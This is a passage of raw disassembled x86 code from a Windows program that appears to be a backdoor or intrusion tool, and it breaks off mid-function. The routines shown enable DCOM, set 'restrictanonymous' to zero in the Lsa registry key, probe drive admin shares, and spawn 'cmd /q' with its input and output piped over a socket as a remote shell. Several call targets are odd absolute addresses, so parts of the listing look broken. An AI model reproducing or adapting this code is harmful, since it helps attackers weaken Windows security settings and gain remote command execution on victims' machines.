loc_41609A:				; CODE XREF: sub_415F88+10Bj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_43AD74
		jmp	short loc_4160CD
; ---------------------------------------------------------------------------

loc_4160B3:				; CODE XREF: sub_415F88+E2j
		push	offset unk_433548
		jmp	short loc_4160BF
; ---------------------------------------------------------------------------

loc_4160BA:				; CODE XREF: sub_415F88+13j
		push	offset unk_433508

loc_4160BF:				; CODE XREF: sub_415F88+130j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx

loc_4160CD:				; CODE XREF: sub_415F88+129j
		cmp	[ebp+arg_C], edi
		jnz	short loc_4160EC
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 14h

loc_4160EC:				; CODE XREF: sub_415F88+148j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_40BF6D
		cmp	dword_43AE90, edi
		pop	ecx
		jnz	loc_416267
		push	ebx
		mov	[ebp+var_4], edi
		mov	[ebp+var_14], edi
		mov	[ebp+var_C], edi

loc_41610F:				; CODE XREF: sub_415F88+2C3j
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	0FFFFFFFFh
		push	eax
		push	1F6h
		push	edi
		call	dword_43ACE4
		cmp	eax, edi
		mov	[ebp+var_10], eax
		jz	short loc_4161AC
		cmp	eax, 0EAh
		jz	short loc_4161AC
		mov	esi, offset off_433370

loc_416140:				; CODE XREF: sub_415F88+21Dj
		push	dword ptr [esi]
		push	edi
		call	sub_40DCC3
		pop	ecx
		pop	ecx
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_416157
		push	offset unk_4334D4
		jmp	short loc_41615C
; ---------------------------------------------------------------------------

loc_416157:				; CODE XREF: sub_415F88+1C6j
		push	offset unk_433498

loc_41615C:				; CODE XREF: sub_415F88+1CDj
		lea	eax, [ebp+var_214]
		push	200h
		push	eax
		call	sub_41782A
		add	esp, 10h
		cmp	[ebp+arg_C], edi
		jnz	short loc_41618F
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 14h

loc_41618F:				; CODE XREF: sub_415F88+1EBj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_40BF6D
		add	esi, 8
		pop	ecx
		cmp	esi, offset dword_433390
		jb	short loc_416140
		jmp	loc_416244
; ---------------------------------------------------------------------------

loc_4161AC:				; CODE XREF: sub_415F88+1AAj
					; sub_415F88+1B1j
		mov	esi, [ebp+var_8]
		push	1
		pop	ebx
		cmp	[ebp+var_4], ebx
		jb	loc_41623B

loc_4161BB:				; CODE XREF: sub_415F88+2AFj
		mov	edi, [esi]
		push	edi
		call	sub_41999C
		cmp	word ptr [edi+eax*2-2],	24h
		pop	ecx
		jnz	short loc_416230
		push	edi
		call	sub_40DBB0
		push	eax
		push	0
		call	sub_40DCC3
		add	esp, 0Ch
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_4161EA
		push	offset unk_433464
		jmp	short loc_4161EF
; ---------------------------------------------------------------------------

loc_4161EA:				; CODE XREF: sub_415F88+259j
		push	offset unk_433428

loc_4161EF:				; CODE XREF: sub_415F88+260j
		lea	eax, [ebp+var_214]
		push	200h
		push	eax
		call	sub_41782A
		add	esp, 10h
		cmp	[ebp+arg_C], 0
		jnz	short loc_416223
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 14h

loc_416223:				; CODE XREF: sub_415F88+27Fj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_40BF6D
		pop	ecx

loc_416230:				; CODE XREF: sub_415F88+242j
		add	esi, 28h
		inc	ebx
		cmp	ebx, [ebp+var_4]
		jbe	short loc_4161BB
		xor	edi, edi

loc_41623B:				; CODE XREF: sub_415F88+22Dj
		push	[ebp+var_8]
		call	dword_43AE28

loc_416244:				; CODE XREF: sub_415F88+21Fj
		cmp	[ebp+var_10], 0EAh
		jz	loc_41610F
		lea	eax, [ebp+var_214]
		push	offset unk_4333F0
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx
		pop	ebx
		jmp	short loc_41627A
; ---------------------------------------------------------------------------

loc_416267:				; CODE XREF: sub_415F88+177j
		lea	eax, [ebp+var_214]
		push	offset unk_4333B0
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx

loc_41627A:				; CODE XREF: sub_415F88+2DDj
		cmp	[ebp+arg_C], edi
		jnz	short loc_416298
		push	edi
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 14h

loc_416298:				; CODE XREF: sub_415F88+2F5j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_40BF6D
		pop	ecx
		push	1
		pop	eax
		pop	edi
		pop	esi
		leave
		retn
sub_415F88	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4162AC	proc near		; CODE XREF: sub_415F28:loc_415F6Fp

var_220		= byte ptr -220h
var_20		= byte ptr -20h
var_14		= byte ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 220h
		push	ebx
		xor	ebx, ebx
		cmp	dword_43AE68, ebx
		push	esi
		jnz	loc_4163DA
		lea	eax, [ebp+var_4]
		mov	esi, 80000002h
		push	eax
		push	2001Fh
		push	ebx
		push	offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
		push	esi
		call	dword_43AE08
		test	eax, eax
		jnz	short loc_416337
		mov	ax, word_4338CC
		mov	word ptr [ebp+var_8+2],	ax
		lea	eax, [ebp+var_8+2]
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8+2]
		push	eax
		push	1
		push	ebx
		push	offset aEnabledcom ; "EnableDCOM"
		push	[ebp+var_4]
		call	dword_43ADBC
		test	eax, eax
		jz	short loc_416319
		push	offset unk_433898
		jmp	short loc_41631E
; ---------------------------------------------------------------------------

loc_416319:				; CODE XREF: sub_4162AC+64j
		push	offset dword_43386C

loc_41631E:				; CODE XREF: sub_4162AC+6Bj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_43AD74
		jmp	short loc_41634A
; ---------------------------------------------------------------------------

loc_416337:				; CODE XREF: sub_4162AC+36j
		lea	eax, [ebp+var_220]
		push	offset unk_433638
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx

loc_41634A:				; CODE XREF: sub_4162AC+89j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_416369
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 14h

loc_416369:				; CODE XREF: sub_4162AC+A1j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_40BF6D
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	0F003Fh
		push	ebx
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
		push	esi
		call	dword_43AE08
		test	eax, eax
		jnz	short loc_4163D3
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		push	4
		push	ebx
		push	offset aRestrictanonym ; "restrictanonymous"
		push	[ebp+var_4]
		mov	[ebp+var_8], ebx
		call	dword_43ADBC
		test	eax, eax
		jz	short loc_4163B5
		push	offset unk_433820
		jmp	short loc_4163BA
; ---------------------------------------------------------------------------

loc_4163B5:				; CODE XREF: sub_4162AC+100j
		push	offset unk_4337DC

loc_4163BA:				; CODE XREF: sub_4162AC+107j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_43AD74
		jmp	short loc_4163ED
; ---------------------------------------------------------------------------

loc_4163D3:				; CODE XREF: sub_4162AC+E2j
		push	offset unk_433790
		jmp	short loc_4163DF
; ---------------------------------------------------------------------------

loc_4163DA:				; CODE XREF: sub_4162AC+13j
		push	offset unk_433508

loc_4163DF:				; CODE XREF: sub_4162AC+12Cj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx

loc_4163ED:				; CODE XREF: sub_4162AC+125j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41640C
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 14h

loc_41640C:				; CODE XREF: sub_4162AC+144j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_40BF6D
		cmp	dword_43AE90, ebx
		pop	ecx
		jnz	loc_416581
		push	edi
		mov	esi, offset off_433370
		mov	edi, 200h

loc_416430:				; CODE XREF: sub_4162AC+1E9j
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		push	ebx
		call	sub_40DC17
		add	esp, 0Ch
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_41644B
		push	offset unk_433760
		jmp	short loc_416450
; ---------------------------------------------------------------------------

loc_41644B:				; CODE XREF: sub_4162AC+196j
		push	offset unk_433728

loc_416450:				; CODE XREF: sub_4162AC+19Dj
		lea	eax, [ebp+var_220]
		push	edi
		push	eax
		call	sub_41782A
		add	esp, 10h
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41647F
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 14h

loc_41647F:				; CODE XREF: sub_4162AC+1B7j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_40BF6D
		add	esi, 8
		pop	ecx
		cmp	esi, offset off_433380
		jb	short loc_416430
		nop
		call	near ptr 27E08E0h
		test	eax, eax
		mov	[ebp+var_4], eax
		mov	bl, 41h
		jz	loc_416569

loc_4164AA:				; CODE XREF: sub_4162AC+2B7j
		mov	eax, [ebp+var_4]
		and	eax, 1
		cmp	al, 1
		jnz	loc_41655E
		cmp	bl, 41h
		jz	loc_41655E
		movsx	esi, bl
		push	esi
		push	offset aC_2	; "%c$"
		lea	eax, [ebp+var_14]
		push	0Ah
		push	eax
		call	sub_41782A
		add	esp, 10h
		lea	eax, [ebp+var_20]
		push	esi
		push	offset aC_1	; "%c:\\"
		push	0Ah
		push	eax
		call	sub_41782A
		add	esp, 10h
		lea	eax, [ebp+var_20]
		push	eax
		call	dword_43ADF8
		cmp	eax, 3
		jnz	short loc_41655E
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	0
		call	sub_40DC17
		add	esp, 0Ch
		test	eax, eax
		lea	eax, [ebp+var_14]
		push	eax
		jnz	short loc_41651C
		push	offset unk_433760
		jmp	short loc_416521
; ---------------------------------------------------------------------------

loc_41651C:				; CODE XREF: sub_4162AC+267j
		push	offset unk_433728

loc_416521:				; CODE XREF: sub_4162AC+26Ej
		lea	eax, [ebp+var_220]
		push	edi
		push	eax
		call	sub_41782A
		add	esp, 10h
		cmp	[ebp+arg_C], 0
		jnz	short loc_416551
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 14h

loc_416551:				; CODE XREF: sub_4162AC+289j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_40BF6D
		pop	ecx

loc_41655E:				; CODE XREF: sub_4162AC+206j
					; sub_4162AC+20Fj ...
		inc	bl
		shr	[ebp+var_4], 1
		jnz	loc_4164AA

loc_416569:				; CODE XREF: sub_4162AC+1F8j
		lea	eax, [ebp+var_220]
		push	offset unk_4336E8
		push	eax
		call	sub_4172B0
		pop	ecx
		xor	ebx, ebx
		pop	ecx
		pop	edi
		jmp	short loc_416594
; ---------------------------------------------------------------------------

loc_416581:				; CODE XREF: sub_4162AC+173j
		lea	eax, [ebp+var_220]
		push	offset unk_4333B0
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx

loc_416594:				; CODE XREF: sub_4162AC+2D3j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_4165B2
		push	ebx
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 14h

loc_4165B2:				; CODE XREF: sub_4162AC+2EBj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_40BF6D
		pop	ecx
		push	1
		pop	eax
		pop	esi
		pop	ebx
		leave
		retn
sub_4162AC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4165C6	proc near		; CODE XREF: ___:0041562Fp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	edi
		call	sub_416717
		imul	edi, 234h
		mov	esi, eax
		xor	ebx, ebx
		mov	eax, dword_4407FC[edi]
		mov	[ebp+var_C], 0Ch
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	[esi+0Ch], eax
		mov	edi, dword_4240A0
		pop	ecx
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	esi
		push	offset sub_4168E9
		lea	eax, [ebp+var_C]
		push	ebx
		push	eax
		call	edi
		cmp	eax, ebx
		mov	[esi+10h], eax
		jnz	short loc_416631
		nop
		call	near ptr 265031Fh
		push	eax
		push	offset dword_433914
		call	sub_40BFE1
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		pop	ecx
		pop	ecx
		jmp	short loc_41666B
; ---------------------------------------------------------------------------

loc_416631:				; CODE XREF: sub_4165C6+50j
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	esi
		push	offset sub_41699B
		lea	eax, [ebp+var_C]
		push	ebx
		push	eax
		call	edi
		cmp	eax, ebx
		mov	[esi+14h], eax
		jnz	short loc_416672
		nop
		call	near ptr 265031Fh
		push	eax
		push	offset dword_433914
		call	sub_40BFE1
		pop	ecx
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		pop	ecx
		push	ebx
		push	dword ptr [esi+14h]
		call	near ptr 27D08DAh
		nop

loc_41666B:				; CODE XREF: sub_4165C6+69j
		xor	eax, eax
		jmp	loc_416712
; ---------------------------------------------------------------------------

loc_416672:				; CODE XREF: sub_4165C6+82j
		mov	eax, [esi+10h]
		push	0FFFFFFFFh
		mov	[ebp+var_18], eax
		mov	eax, [esi+14h]
		mov	[ebp+var_14], eax
		mov	eax, [esi+8]
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_18]
		push	ebx
		push	eax
		push	3
		nop
		call	near ptr 27E0AFEh
		sub	eax, ebx
		jz	short loc_4166CC
		dec	eax
		jz	short loc_4166C6
		dec	eax
		jz	short loc_4166B2
		nop
		call	near ptr 265031Fh
		push	eax
		push	offset dword_4338D0
		call	sub_40BFE1
		pop	ecx
		pop	ecx
		jmp	short loc_4166E1
; ---------------------------------------------------------------------------

loc_4166B2:				; CODE XREF: sub_4165C6+D5j
		mov	edi, dword_424168
		push	ebx
		push	dword ptr [esi+14h]
		call	edi
		push	ebx
		push	dword ptr [esi+10h]
		call	edi
		jmp	short loc_4166E1
; ---------------------------------------------------------------------------

loc_4166C6:				; CODE XREF: sub_4165C6+D2j
		push	ebx
		push	dword ptr [esi+10h]
		jmp	short loc_4166D0
; ---------------------------------------------------------------------------

loc_4166CC:				; CODE XREF: sub_4165C6+CFj
		push	ebx
		push	dword ptr [esi+14h]

loc_4166D0:				; CODE XREF: sub_4165C6+104j
		call	near ptr 27D08DAh
		nop
		push	1
		push	dword ptr [esi+8]
		call	near ptr 27D0B3Ah
		nop

loc_4166E1:				; CODE XREF: sub_4165C6+EAj
					; sub_4165C6+FEj
		push	dword ptr [esi+10h]
		mov	edi, dword_424078
		call	edi
		push	dword ptr [esi+14h]
		call	edi
		push	dword ptr [esi+8]
		call	edi
		push	dword ptr [esi]
		call	edi
		push	dword ptr [esi+4]
		call	edi
		push	dword ptr [esi+0Ch]
		call	dword_43AE30
		push	esi
		call	sub_417C3B
		pop	ecx
		push	1
		pop	eax

loc_416712:				; CODE XREF: sub_4165C6+A7j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4165C6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416717	proc near		; CODE XREF: sub_4165C6+Dp

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	18h
		mov	[ebp+var_4], edi
		mov	[ebp+var_8], edi
		call	sub_417B89
		mov	esi, eax
		pop	ecx
		cmp	esi, edi
		jz	loc_416801
		mov	ebx, dword_424140
		lea	eax, [ebp+var_14]
		push	edi
		push	eax
		lea	eax, [ebp+var_8]
		mov	[esi], edi
		push	eax
		mov	[esi+4], edi
		push	esi
		mov	[ebp+var_14], 0Ch
		mov	[ebp+var_10], edi
		mov	[ebp+var_C], 1
		call	ebx
		mov	edi, dword_424078
		test	eax, eax
		jnz	short loc_41677A
		call	near ptr 265031Fh
		nop
		push	eax
		push	offset dword_4339F4
		jmp	short loc_41679A
; ---------------------------------------------------------------------------

loc_41677A:				; CODE XREF: sub_416717+53j
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		lea	eax, [esi+4]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		call	ebx
		test	eax, eax
		jnz	short loc_4167A2
		nop
		call	near ptr 265031Fh
		push	eax
		push	offset dword_4339A4

loc_41679A:				; CODE XREF: sub_416717+61j
		call	sub_40BFE1
		pop	ecx
		jmp	short loc_4167D0
; ---------------------------------------------------------------------------

loc_4167A2:				; CODE XREF: sub_416717+75j
		push	[ebp+arg_0]
		push	[ebp+var_8]
		push	[ebp+var_4]
		call	sub_416810
		add	esp, 0Ch
		mov	[esi+8], eax
		push	[ebp+var_4]
		call	edi
		push	[ebp+var_8]
		call	edi
		cmp	dword ptr [esi+8], 0
		jnz	short loc_416805
		push	offset dword_43396C
		call	sub_40BF6D

loc_4167D0:				; CODE XREF: sub_416717+89j
		cmp	[ebp+var_4], 0
		pop	ecx
		jz	short loc_4167DC
		push	[ebp+var_4]
		call	edi

loc_4167DC:				; CODE XREF: sub_416717+BEj
		cmp	[ebp+var_8], 0
		jz	short loc_4167E7
		push	[ebp+var_8]
		call	edi

loc_4167E7:				; CODE XREF: sub_416717+C9j
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_4167F0
		push	eax
		call	edi

loc_4167F0:				; CODE XREF: sub_416717+D4j
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_4167FA
		push	eax
		call	edi

loc_4167FA:				; CODE XREF: sub_416717+DEj
		push	esi
		call	sub_417C3B
		pop	ecx

loc_416801:				; CODE XREF: sub_416717+1Dj
		xor	eax, eax
		jmp	short loc_41680B
; ---------------------------------------------------------------------------

loc_416805:				; CODE XREF: sub_416717+ADj
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		mov	eax, esi

loc_41680B:				; CODE XREF: sub_416717+ECj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_416717	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416810	proc near		; CODE XREF: sub_416717+94p

var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_2C		= dword	ptr -2Ch
var_28		= word ptr -28h
var_26		= word ptr -26h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	ebx
		push	esi
		push	edi
		push	44h
		pop	edi
		xor	esi, esi
		push	edi
		lea	eax, [ebp+var_58]
		push	esi
		push	eax
		mov	[ebp+var_4], esi
		call	sub_417330
		push	10h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_417330
		mov	eax, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		add	esp, 18h
		mov	[ebp+var_20], eax
		lea	eax, [ebp+var_18]
		mov	[ebp+var_58], edi
		mov	edi, dword_42413C
		push	esi
		push	1
		push	2
		push	eax
		mov	[ebp+var_54], esi
		mov	[ebp+var_4C], esi
		mov	[ebp+var_50], esi
		mov	[ebp+var_3C], esi
		mov	[ebp+var_40], esi
		mov	[ebp+var_44], esi
		mov	[ebp+var_48], esi
		mov	[ebp+var_28], si
		mov	[ebp+var_24], esi
		mov	[ebp+var_26], si
		mov	[ebp+var_2C], 101h
		mov	[ebp+var_1C], ebx
		call	edi
		push	eax
		push	ebx
		call	edi
		push	eax
		nop
		call	near ptr 2780858h
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	esi
		push	esi
		push	esi
		push	1
		push	esi
		push	esi
		push	offset aCmdQ	; "cmd /q"
		push	esi
		call	near ptr 2760575h
		nop
		test	eax, eax
		jz	short loc_4168CC
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+var_C]
		imul	eax, 234h
		push	[ebp+var_10]
		mov	esi, [ebp+var_14]
		mov	dword_4407F8[eax], ecx
		nop
		call	near ptr 26319EBh
		jmp	short loc_4168E2
; ---------------------------------------------------------------------------

loc_4168CC:				; CODE XREF: sub_416810+9Aj
		nop
		call	near ptr 265031Fh
		push	eax
		push	offset dword_433A44
		call	sub_40BFE1
		mov	esi, [ebp+var_4]
		pop	ecx
		pop	ecx

loc_4168E2:				; CODE XREF: sub_416810+BAj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_416810	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4168E9	proc near		; DATA XREF: sub_4165C6+3Fo

var_1B0		= byte ptr -1B0h
var_C8		= byte ptr -0C8h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1B0h
		push	ebx
		push	esi
		mov	ebx, dword_424074
		push	edi
		mov	edi, [ebp+arg_0]
		lea	eax, [ebp+arg_0]
		push	0
		push	eax
		lea	eax, [ebp+var_C8]
		push	0C8h
		push	eax
		push	dword ptr [edi]

loc_416912:				; CODE XREF: sub_4168E9+8Fj
		call	ebx
		test	eax, eax
		jz	short loc_41697A
		xor	eax, eax
		xor	dl, dl
		xor	esi, esi
		cmp	[ebp+arg_0], eax
		jbe	short loc_41694D

loc_416923:				; CODE XREF: sub_4168E9+62j
		mov	cl, [ebp+esi+var_C8]
		cmp	cl, 0Ah
		jnz	short loc_41693D
		cmp	dl, 0Dh
		jz	short loc_41693D
		mov	[ebp+eax+var_1B0], 0Dh
		inc	eax

loc_41693D:				; CODE XREF: sub_4168E9+44j
					; sub_4168E9+49j
		mov	[ebp+eax+var_1B0], cl
		inc	eax
		inc	esi
		mov	dl, cl
		cmp	esi, [ebp+arg_0]
		jb	short loc_416923

loc_41694D:				; CODE XREF: sub_4168E9+38j
		push	0
		push	eax
		lea	eax, [ebp+var_1B0]
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_43ADE8
		test	eax, eax
		jle	short loc_41697A
		lea	eax, [ebp+arg_0]
		push	0
		push	eax
		lea	eax, [ebp+var_C8]
		push	0C8h
		push	eax
		push	dword ptr [edi]
		jmp	short loc_416912
; ---------------------------------------------------------------------------

loc_41697A:				; CODE XREF: sub_4168E9+2Dj
					; sub_4168E9+79j
		mov	esi, dword_42408C
		call	esi
		cmp	eax, 6Dh
		jz	short loc_416996
		call	esi
		push	eax
		push	offset dword_433A90
		call	sub_40BFE1
		pop	ecx
		pop	ecx

loc_416996:				; CODE XREF: sub_4168E9+9Cj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4168E9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41699B	proc near		; DATA XREF: sub_4165C6+71o

var_DC		= byte ptr -0DCh
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_7		= byte ptr -7
var_6		= byte ptr -6
var_5		= byte ptr -5
var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0DCh
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	edi, [ebp+arg_0]
		xor	esi, esi
		mov	[ebp+var_10], ebx
		mov	[ebp+var_C], ebx

loc_4169B4:				; CODE XREF: sub_41699B+39j
					; sub_41699B+D7j ...
		push	ebx
		lea	eax, [ebp+arg_0+3]
		push	1
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_43ADB0
		test	eax, eax
		jle	loc_416AB9
		cmp	[ebp+var_10], ebx
		jbe	short loc_4169D6
		dec	[ebp+var_10]
		jmp	short loc_4169B4
; ---------------------------------------------------------------------------

loc_4169D6:				; CODE XREF: sub_41699B+34j
		mov	al, byte ptr [ebp+arg_0+3]
		movsx	ecx, al
		cmp	ecx, 0FFh
		jz	loc_416A99
		cmp	al, 8
		mov	[ebp+var_C], ebx
		jz	short loc_416A46
		cmp	al, 7Fh
		jz	short loc_416A46
		cmp	al, 3
		jnz	short loc_416A01
		push	ebx
		push	ebx
		nop
		call	near ptr 27E0BE4h
		jmp	short loc_416A6D
; ---------------------------------------------------------------------------

loc_416A01:				; CODE XREF: sub_41699B+5Aj
		cmp	al, 15h
		jnz	short loc_416A23
		xor	esi, esi
		mov	[ebp+var_8], 20h
		mov	[ebp+var_7], 58h
		mov	[ebp+var_6], 58h
		mov	[ebp+var_5], 58h
		mov	[ebp+var_4], 0Dh
		mov	[ebp+var_3], 0Ah
		push	6
		jmp	short loc_416A59
; ---------------------------------------------------------------------------

loc_416A23:				; CODE XREF: sub_41699B+68j
		mov	[ebp+esi+var_DC], al
		inc	esi
		push	1
		cmp	al, 0Dh
		mov	[ebp+var_8], al
		pop	ecx
		jnz	short loc_416A5A
		mov	[ebp+esi+var_DC], 0Ah
		mov	[ebp+var_7], 0Ah
		inc	esi
		push	2
		jmp	short loc_416A59
; ---------------------------------------------------------------------------

loc_416A46:				; CODE XREF: sub_41699B+52j
					; sub_41699B+56j
		cmp	esi, ebx
		jbe	short loc_416A70
		dec	esi
		mov	[ebp+var_8], 8
		mov	[ebp+var_7], 20h
		mov	[ebp+var_6], 8
		push	3

loc_416A59:				; CODE XREF: sub_41699B+86j
					; sub_41699B+A9j
		pop	ecx

loc_416A5A:				; CODE XREF: sub_41699B+98j
		push	ebx
		lea	eax, [ebp+var_8]
		push	ecx
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_43ADE8
		test	eax, eax
		jle	short loc_416AB9

loc_416A6D:				; CODE XREF: sub_41699B+64j
		mov	al, byte ptr [ebp+arg_0+3]

loc_416A70:				; CODE XREF: sub_41699B+ADj
		cmp	al, 0Dh
		jnz	loc_4169B4
		lea	eax, [ebp+var_14]
		push	ebx
		push	eax
		lea	eax, [ebp+var_DC]
		push	esi
		push	eax
		push	dword ptr [edi+4]
		nop
		call	near ptr 2640000h
		test	eax, eax
		jz	short loc_416AB9
		xor	esi, esi
		jmp	loc_4169B4
; ---------------------------------------------------------------------------

loc_416A99:				; CODE XREF: sub_41699B+47j
		cmp	[ebp+var_C], ebx
		jnz	short loc_416AAA
		mov	[ebp+var_C], 1
		jmp	loc_4169B4
; ---------------------------------------------------------------------------

loc_416AAA:				; CODE XREF: sub_41699B+101j
		mov	[ebp+var_10], 0Ah
		mov	[ebp+var_C], ebx
		jmp	loc_4169B4
; ---------------------------------------------------------------------------

loc_416AB9:				; CODE XREF: sub_41699B+2Bj
					; sub_41699B+D0j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41699B	endp


; =============== S U B	R O U T	I N E =======================================



sub_416ABE	proc near		; CODE XREF: sub_416ADE+Ap
					; sub_416BB6+8p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_417AB0
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_417AB0
		pop	ecx
		lea	eax, [esi+eax*2+0C1h]
		pop	ecx
		pop	esi
		retn
sub_416ABE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416ADE	proc near		; CODE XREF: sub_416BCD+49p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
